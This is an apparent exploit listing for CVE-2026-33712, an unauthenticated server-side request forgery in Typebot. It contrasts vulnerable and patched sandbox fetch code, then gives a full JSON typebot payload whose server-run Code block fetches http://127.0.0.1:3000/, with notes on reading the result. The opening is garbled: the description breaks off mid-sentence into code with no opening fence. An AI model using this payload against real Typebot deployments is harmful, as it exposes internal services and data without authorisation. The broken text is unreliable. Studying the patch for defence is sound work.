Share
## https://sploitus.com/exploit?id=A85EEC31-EAC4-57B3-A574-1BAE8302BA48
# CVE-2026-33712 - Typebot Unauthenticated SSRF

## Description

**Typebot  $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const res = await fetch(input, init);  // No validateHttpReqUrl!
    return res.text();
  }),
});

// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const request = new Request(input, init);
    await validateHttpReqUrl(request.url);  // SSRF check added
    validateHttpReqHeaders(headers);
    // ... safe redirect handling with manual redirect + re-validation
  }),
});
```

The fix (commit `d96f572`) also reordered checks in `getTypebot()` so auth validation
runs **before** the custom typebot shortcut, and moved the viewer's preview endpoint from
`procedureWithOptionalUser` to `protectedProcedure`.

## Payload Structure

```json
{
  "typebotId": "exploit-id",
  "typebot": {
    "version": "6",
    "id": "exploit-bot",
    "workspaceId": "test",
    "updatedAt": "2026-01-01T00:00:00.000Z",
    "groups": [
      {
        "id": "group-1", "title": "Start",
        "graphCoordinates": {"x": 0, "y": 0},
        "blocks": [
          {"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
        ]
      },
      {
        "id": "group-2", "title": "SSRF",
        "graphCoordinates": {"x": 200, "y": 0},
        "blocks": [
          {
            "id": "block-2", "type": "Code",
            "outgoingEdgeId": "edge-2",
            "options": {
              "name": "SSRF",
              "content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
              "isExecutedOnClient": false,
              "isUnsafe": true
            }
          }
        ]
      }
    ],
    "edges": [
      {"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
    ],
    "events": [
      {"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
    ],
    "variables": [
      {"id": "var-1", "name": "result", "value": null}
    ],
    "settings": {"general": {}},
    "theme": {"general": {}, "chat": {}}
  }
}
```

**Important:** `fetch()` inside the sandbox returns `.text()` already, so the result is a
**string**, not a `Response` object.